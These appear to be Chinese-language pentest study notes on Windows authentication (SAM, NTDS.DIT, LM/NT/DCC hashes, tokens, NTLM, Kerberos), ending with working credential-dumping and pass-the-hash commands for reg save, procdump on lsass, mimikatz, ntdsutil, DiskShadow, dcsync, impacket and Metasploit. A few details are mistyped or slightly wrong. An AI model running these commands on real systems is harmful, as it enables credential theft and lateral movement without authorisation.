Windows 身份认证
认证过程
winlogon.exe -> 接收用户输入 -> isass.exe (哈希) -> 认证 (在 SAM 数据库比对)
存储位置
本地 SAM
%SystemRoot%\system32\config\sam
查看这个文件需要 system 权限
注册表中的位置:
HKEY_LOCAL_MACHINE\SAM\SAM
HKEY_LOCAL_MACHINE\SECURITY\SAM
存储在 Active Directory 中的密码
静态密码存储在 Active Directory 数据库 (NTDS.DIT 文件) (域控)
| Active Directory 属性 | 内容 |
|---|---|
| unicodePwd | 加密的 NT 哈希 |
| dbcsPwd | 加密的 LM 哈希 |
| ntPwdHistory | 加密的 NT 哈希 - 密码历史记录 |
| lmPwdHistory | 加密的 LM 哈希 - 密码历史记录 |
| supplementalCredentials | Kerberos 密钥、WDigest 等. |
域缓存凭据
HKLM\SECURITY\Cache
mscash
加密算法
LM Hash
LAN Manager Hash
在 XP, server 2003 中默认使用
生成规则
- 密码长度最多 14 个字符
- 密码不足 14 字节补 0
- 密码转换为大写
- 密码分成两个 7 字节的密钥
- 每个密钥将作为
DESKEY对魔术字符串 "KGS!@#$%" 进行标准 DES 加密 - 将加密后的两组数据拼接得到最后的 LM Hash
漏洞
- 密码长度只有 14 位
- 密码不区分大小写
- 使用分组 DES, 如果密码强度小于 7 位, 那么第二个分组加密后的结果一定是 aad3b435b51404ee
- 将密码分成两个部分, 降低了破解难度
- DES 密码强度不高
NT Hash
生成规则
- 14 位密码
- 将输入的密码转换为十六进制
- Unicode 转换
- 调用 MD4 加密得到最后的 NT Hash
与 LM 相比, 不需要补齐, 大小写敏感, MD4 破解难度大
Mscache Hash
域用户登录域内机器时, 留下的域缓存凭据的密码加密方式, 又称 DCC Hash. 根据版本不同, 分为 DCC1 和 DCC2. Vista 之前保存的是 DCC1, 之后是 DCC2
位置: HKLM\SECURITY\Cache
工作原理
连上域控时, 机器登录后, 系统会将凭据以授权信息保存在注册表中, 默认保存最新 10 个凭据
凭据被缓存在注册表的这些用户, 在机器连不上域控的时候也可以登录这台机器, 没有缓存则不可以登录
生成规则
DCC1 = MD4 (NT Hash + LowerUnicode(username))
DCC2 = PBKDF2(HMAC-SHA1, Iterations, DCC1, LowerUnicode(username))
解密
- 得到 bootkey
- 利用 bootkey 解密 LSA Key
- 利用 LSA Key 解密 NLKM Key
- 利用 NLKM Key 解密 MSCACHE
| 数据 | 位置 | 算法 | Key |
|---|---|---|---|
| MSCACHE | HKLM\SECURITY\Cache | AES-CTS | NLKM Key |
| NLKM Key | 注册表 LSA Secrets 区域 | AES | 变形后的 LSA Key |
| LSA Key | HKLM\SECURITY\Policy\PolEKList | AES | 变形后的 boot key |
| bootkey | HKLM\System\CurrentControlSet\Control\Lsa |
bootkey 分成了 4 个部分
HKLM\System\CurrentControlSet\Control\Lsa\JD
HKLM\System\CurrentControlSet\Control\Lsa\Skew1
HKLM\System\CurrentControlSet\Control\Lsa\Data
HKLM\System\CurrentControlSet\Control\Lsa\GBG
访问令牌
Access Token
描述进程或者线程安全的一个对象, 存储在内存中
不同用户登录计算机后, 都会生成一个 Access Token, 这个 Token 在用户创建进程或者线程时会被使用
当进程或者线程需要访问某个具有安全属性的对象时, OS 会根据 Tokent 在该对象的访问控制列表里进行搜索, 从而决定用户或者用户所在的组对该对象是否具有访问权限
两种:
- 主令牌. 每一个进程都有一个唯一的主令牌, 进程通过主令牌被开启
- 模拟令牌. 在默认情况下, 线程被开启时, 所在的进程的主令牌会自动附加到当前线程上, 作为线程的安全上下文. 而线程可以运行在另一个非主令牌的访问令牌下执行, 这个令牌就叫做模拟令牌. 指定线程模拟令牌的过程称为模拟
主令牌是由 windows 内核创建并分配给进程的默认访问令牌, 每一个进程有一个主令牌, 它描述了与当前进程相关的用户帐户的安全上下文. 同时, 一个线程可以模拟一个客户端帐户, 允许此线程与安全对象交互时用客户端的安全上下文. 一个正模拟客户端的线程拥有一个主令牌和一个模拟令牌
令牌会在系统关机重启后全部清除
权限低的账号无法看到权限高的访问令牌
令牌组成
- 用户 (User). 用户账号的SID. 若用户登录到本地计算机上的一个账号, 则他的 SID来自于本地SAM维护的账号数据库; 若用户登录到一个域账号, 则他的SID来自于活动目录里用户对象的Object-SID属性
- 组 (Groups). 包含该用户的安全组的SID列表, 表中也包含代表活动目录里用户 账号的用户对象的SID-History属性里的SID
- 特权 (Privileges). 用户和用户的安全组在本地计算机上拥有的特权列表
- 所有者 (Owner). 特定用户或安全组的SID, 这些用户或安全组默认成为用户所 创建或拥有的任何对象的所有者
- 主组 (Primary Group). 用户的主安全组的SID. 这个信息只由POSIX子系统使用, Windows 2000的其他部分对其忽略
- 默认任意访问控制表 (Default Discretionary Access Control List, DACL). 一组内置 许可权. 在没有其他访问控制信息存在时操作系统将其作用于用户所创建的对象. 默认DACL向创建所有者和系统赋予完全控制 (Full Control) 权限
- 源 (Source). 导致访问令牌被创建的进程, 例如会话管理器、LAN管理器或远程 过程调用 (RPC) 服务器
- 类型 (Type). 指示访问令牌是主 (primary) 令牌还是模拟 (impersonation) 令牌. 主令牌代表一个进程的安全上下文; 模拟令牌是服务进程里的一个线程, 用来临时接受一个不同的安全上下文 (如服务的一个客户的安全上下文) 的令牌
- 模拟级别 (Impersonation Level). 指示服务对该访问令牌所代表的客户的安全上下 文的接受程度
- 统计信息 (Statistics). 关于访问令牌本身的信息. 操作系统在内部使用这个信息
- 限制SID (Restricting SID). 由一个被授权创建受限令牌的进程添加到访问令牌里 的可选的SID列表. 限制SID可以将线程的访问限制到低于用户被允许的级别
- 会话ID (Session ID). 指示访问令牌是否与终端服务 (Terminal Services) 客户会 话相关
获取令牌
- mimikatz
伪造令牌
- Metaspolit 中的 incognito
- Windows 平台下的 incognito 工具
- mimikatz. token::list
- CobaltStrike
权限
使用 RID 识别
相同权限组不同的 RID 所拥有的权限是buyiyhjde
初始默认的 administrator 用户 RID 为 500, 普通管理员组用户的权限并不是 500, administrator 的权限大于普通管理员组用户
网络协议认证
NTLM
NTLM 是一种网络认证协议, 是基于 Chalenge/Response 认证机制的一种认证模式
NTLM 只能嵌入到上层协议, 不能作为单独的应用层
认证过程
三种消息:
- type 1 协商, 主要用于确认双方协议版本
- type 2 质询, Chanlenge/Response 认证机制
- type 3 验证, 验证客户端的 Response 和 生成的 Challenge1 是否相同
质询过程:
- 客户端向服务器发送用户信息 (用户名) 请求
- 服务器接收到请求, 判断本地账户列表是否有用户名, 如果有, 生成一个 16 位的随机数, 这称为 Challenge, 使用登录用户名对应的 NTLM Hash 加密 Challenge, 生成 Challenge1. 生成一个 Net-NTLM Hash 存在内存中, 同时, 生成 Challenge1 后, 将 Challenge 发送给客户端
- 客户端接收到 Challenge 后, 使用将要登录到账户对应的 NTLM Hash 加密 Challenge 生成 Response, 然后将 Response 发送给服务器
经过 NTLM Hash 加密的 Challenge 的结果在网络协议中称为 Net NTLM Hash
Kerberos
域认证
三个角色:
- 访问服务的 Client
- 提供服务的 Server
- KDC 密钥分发中心
KDC 服务默认会安装在一个域的域控中, 而 Client 和 Server 为域内的用户或者服务, 如 HTTP 服务. 在 Kerberos 中 Client 是否有权限访问 Server 端的服务, 由 KDC 发放的票据决定
TGT
Ticket Granting Ticket
由身份认证服务 AS (Authentication Service) 授予的票据, 用户身份认证, 存储在内存中, 默认有效时间为 10 小时, 通过 TGT 能够获得票据 (Ticket), TGP 是一种临时凭证, 伪造的 TGT 被称为黄金票据
票据
Server Ticket / Ticket
网络对象互相访问的凭证, 伪造的 ST / Ticket 被称为白银票据
KDC
Key Distribution Center
负责管理票据, 认证票据, 分发票据
KDC 由以下两个服务组成:
- AS (Authentication Service): 身份认证服务, 为 Client 生成 TGT, 依据 AD
- TGS (Ticket Granting Service): 票据授予服务, 为 Client 生成某个服务的 Ticket
AD
Account Database
一个类似于本机 SAM 的一个数据库, 存储所有 Client 的白名单, 只有存在于白名单的 Client 才能顺利申请到 TGT
域认证流程
简述
- Client 向 Kerberos 服务请求, 希望获取访问 Server 的权限
- Kerberos 收到请求, 判断 Client 是否是可信赖的 (AS 通过 AD 中的黑名单/白名单区分 Client), 成功后 AS 返回 TGT 给 Client
- Client 得到 TGT 后, 继续向 Kerberos 请求, 希望获取访问 Server 的权限
- Kerberos 收到请求, 通过 Client 消息中的 TGT, 判断出 Client 拥有这个权限, 给 Client 访问 Server 的权限 Ticket
- Client 的到 Ticket 后, 此时已经可以访问服务器
- 这个 Ticket 只是针对这个 Server, 访问 Service 需要向 TGS 申请
详细流程
- AS_REQ: Client 向 KDC 发起 AS_REQ, 请求凭据是 Client hash 加密的时间戳
- AS_REP: KDC 使用 Client hash 进行解密, 如果结果正确就返回用 krbtgt hash 加密的 TGT 票据, TGT 中包含 PAC, PAC 包含 Client 的 SID 和 Client 所在的组
- TGS_REQ: Client 凭借 TGT 票据向 KDC 发起针对特定 Server 的 TGS_REQ 请求
- TGS_REP: KDC 使用 krbtgt hash 进行解密, 如果结果正确, 就返回用 Server hash 加密的 TGS 票据 Ticket (不管 Client 有没有访问 Server 的权限, 只要 TGT 正确就返回 TGS 票据 Ticket)
- AP_REQ: Client 用 Ticket 请求 Server
- AP_REP: Server 使用自己的 hash 解密 Ticket. 如果解密正确, 就用 PAC 到 KDC 询问 Client 有没有访问权限, 域控解密 PAC. 获取 Client 的 SID, 以及所在的组, 再根据该服务的 ACL, 判断 Client 是否有访问 Service 的权限
获取用户凭证
本地
通过 SAM 文件获取
reg save hklm\sam C:\sam.hive
reg save hklm\system C:\system.hive
读取 Isass 内存
使用 procdump
procdump64.exe -accepteula -ma lsass.exe filename
也可以直接使用任务管理器创建转储文件
生成的文件使用 mimikatz 破解
mimikatz # sekurlsa::minidump filename
mimikatz # sekurlsa::logonPasswords full
域
ntdsutil 域快照
ntdsutil 用于让管理员能够轻松访问 Active Directory
可以通过此工具获取现有的 ntds.dit 文件快照
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
DiskShadow
用于协助管理员执行与卷影复制服务VSS相关的操作
此程序的会自动执行 ntds.dit 提取过程所需的所有命令, 使用这个特性可以完成提取
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\ntds\ntds.dit
delete shadows volume %someAlias%
reset
这个程序必须从 C:\Windows\System32 路径中运行, 同时文件保存必须是 ASCII 编码
复制解密 ntds 文件内容所需的密钥
reg.exe save hklm\system c:\ntds\system.bak
Mimikatz
Mimikatz 有一个功能 dcsync, 利用目录复制服务 DRS 从 NTDS.DIT 文件中检索密码哈希值. 该技术消除了直接从域控制器进行认证的必要性, 因为它可以以域管身份在域的任意系统执行, 或是使用黄金票据从任意可连接到域控的服务器执行
lsadump::dcsync /domain:aptlab.com /all /csv
通过 /user 指定域用户名, 会将指定用户的所有账户信息转储, 包括哈希值
lsadump::dcsync /domain:pentestlab.local /user:test
ntds文件解密
NtdsAudit, Impacket-secretsdump, Quarks PwDump 等等
NTLM 协议攻击
Hash 传递攻击
Pass The Hash PTH
由于 NTLM 验证过程中在 type 3 阶段计算 response 的时候客户端是使用用户的 hash 进行计算, 而不是用户密码. 因此在模拟用户登录时不需要用户明文密码, 只需要 hash
如果有 kb2871997 补丁, PTH 会被限制. 如果 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy 项存在 (默认不存在) 且配置为 1 , 未过滤的非 RID 500 的账户可以成功传递 hash
mimikatz:
privilege::debug
sekurlsa::pth /user:win10 /domain:test.local /ntlm:6a6293bc0c56d7b9731e2d5506065e4a
impacket
psexec.py
smbexec.py
atexec.py
wmiexec.py
dcomexec.py
python wmiexec.py -hash LMhash:NThash username@ipaddress
python wmiexec.py -hashes :NThash username@ipaddress
msf
use exploit/windows/smb/psexec_psh